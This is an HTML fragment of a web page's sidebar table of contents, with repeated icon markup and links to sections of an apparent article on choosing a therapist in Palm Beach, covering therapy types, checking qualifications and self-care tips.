                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#4-trauma-therapy'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>4. Trauma Therapy</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#5-group-therapy'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>5. Group Therapy</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#how-to-choose-the-right-therapy-palm-beach-professional'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>How to Choose the Right Therapy Palm Beach Professional</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#1-assess-your-needs'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>1. Assess Your Needs</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#2-check-qualifications'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>2. Check Qualifications</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#3-consider-their-specializations'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>3. Consider Their Specializations</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#4-read-reviews-and-testimonials'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>4. Read Reviews and Testimonials</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#5-schedule-a-consultation'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>5. Schedule a Consultation</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#what-to-expect-in-therapy'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>What to Expect in Therapy</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#1-the-first-session'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>1. The First Session</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#2-regular-appointments'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>2. Regular Appointments</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#3-homework-and-practice'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>3. Homework and Practice</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#4-gradual-progress'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>4. Gradual Progress</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#self-care-tips-to-complement-therapy'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Self-Care Tips to Complement Therapy</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#1-prioritize-physical-health'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>1. Prioritize Physical Health</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#2-practice-mindfulness'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>2. Practice Mindfulness</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#3-build-a-support-system'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>3. Build a Support System</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#4-set-boundaries'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>4. Set Boundaries</span>
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